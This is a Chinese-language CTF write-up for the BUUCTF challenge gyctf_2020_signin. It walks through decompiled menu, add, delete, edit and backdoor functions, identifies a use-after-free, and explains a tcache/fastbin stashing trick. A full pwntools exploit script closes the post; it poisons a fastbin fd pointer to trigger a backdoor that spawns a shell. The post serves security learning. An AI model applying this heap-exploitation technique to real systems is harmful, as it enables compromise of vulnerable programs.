tcache BUUCTF gyctf_2020_signin

Ubuntu18.04的题

用到了两个特性:

一个是 calloc 的特点:不会分配 tcache chunk 中的 chunk

另一个是 tcache 的特点:在分配 fastbin 中的 chunk 时,若还有其他相同大小的 fastbin_chunk 并且 tcache 还没满时,会将其全部放入 tcache 里。

menu:

 1 unsigned __int64 menu()
 2 {
 3   int choice; // eax
 4   __int64 s[3]; // [rsp+0h] [rbp-20h] BYREF
 5   unsigned __int64 v3; // [rsp+18h] [rbp-8h]
 6 
 7   v3 = __readfsqword(0x28u);
 8   printf("your choice?");
 9   s[0] = 0LL;
10   s[1] = 0LL;
11   memset(s, 0, 0x10uLL);
12   read(0, s, 0xFuLL);
13   choice = atoi((const char *)s);
14   if ( choice == 2 )
15   {
16     edit();
17   }
18   else if ( choice > 2 )
19   {
20     if ( choice != 3 )
21     {
22       if ( choice == 6 )
23         backdoor();
24       goto LABEL_12;
25     }
26     del();
27   }
28   else
29   {
30     if ( choice != 1 )
31     {
32 LABEL_12:
33       puts("no such choice!");
34       return __readfsqword(0x28u) ^ v3;
35     }
36     add();
37   }
38   return __readfsqword(0x28u) ^ v3;
39 }

add:

unsigned __int64 add()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  __int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("idx?");
  s[0] = 0LL;
  s[1] = 0LL;
  memset(s, 0, 0x10uLL);
  read(0, s, 0xFuLL);
  v1 = atoi((const char *)s);
  if ( addcnt >= 0 && v1 <= 0xF )
  {
    ptrlist[v1] = malloc(0x70uLL);    //堆块大小固定fastbin
    flags[v1] = 1;
    --addcnt;
  }
  return __readfsqword(0x28u) ^ v3;
}

delete:

unsigned __int64 del()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  __int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("idx?");
  s[0] = 0LL;
  s[1] = 0LL;
  memset(s, 0, 0x10uLL);
  read(0, s, 0xFuLL);
  v1 = atoi((const char *)s);
  if ( v1 <= 0xF && flags[v1] == 1 )
  {
    free((void *)ptrlist[v1]);        //UAF
    flags[v1] = 0;
  }
  return __readfsqword(0x28u) ^ v3;
}

edit:

unsigned __int64 edit()
{
  int v1; // [rsp+Ch] [rbp-24h]
  __int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( cnt >= 0 )
  {
    puts("idx?");
    s[0] = 0LL;
    s[1] = 0LL;
    memset(s, 0, 0x10uLL);
    read(0, s, 0xFuLL);
    v1 = atoi((const char *)s);
    read(0, (void *)ptrlist[v1], 0x50uLL);
    --cnt;
  }
  return __readfsqword(0x28u) ^ v3;
}

backdoor:

void __noreturn backdoor()
{
  calloc(1uLL, 0x70uLL);
  if ( ptr )
    system("/bin/sh");
  exit(0);
}

我们先连续申请8个,然后依次释放,会填满 tcache_chunk 并且还有一个被放到 fastbin 中。

然后我们申请一个回来,在 tcache 里预留一个空位给ptr

利用 UAF 修改 fastbin 的 fd 指针指向 prt-0x10,那么 calloc 时会从 fastbin 里分配一个堆,并且认为 prt-0x10,也是一个 chunk,会把它挂在 tcache 里 ,而 tcache 的 next 指向的是上一个 tcache 的 next 处(fastbin 的 fd 会指向上一个的 chunk 头处),使prt 非零,getshell。

exp:

 1 from pwn import *
 2 context.arch='amd64'
 3 context.log_level = 'debug'
 4 
 5 #s=remote("node4.buuoj.cn",29764)
 6 s=process('./1')
 7 
 8 def add(idx):
 9     s.sendlineafter(b'your choice?',b'1')
10     s.sendlineafter(b'idx?',str(idx))
11 
12 def edit(idx,context):
13     s.sendlineafter(b'your choice?',b'2')
14     s.sendlineafter(b'idx?',str(idx))
15     s.send(context)
16 
17 def delete(idx):
18     s.sendlineafter(b'your choice?',b'3')
19     s.sendlineafter(b'idx?',str(idx))
20 
21 ptr=0x4040C0
22 
23 for i in range(8):
24     add(i)
25 
26 for i in range(8):
27     delete(i)
28 
29 add(8)
30 edit(7,p64(ptr-0x10))
31 gdb.attach(s)
32 s.sendlineafter(b'your choice?',b'6')
33 
34 
35 s.interactive()

 

posted @ 2021-12-27 20:09  狒猩橙  阅读(121)  评论(1编辑  收藏  举报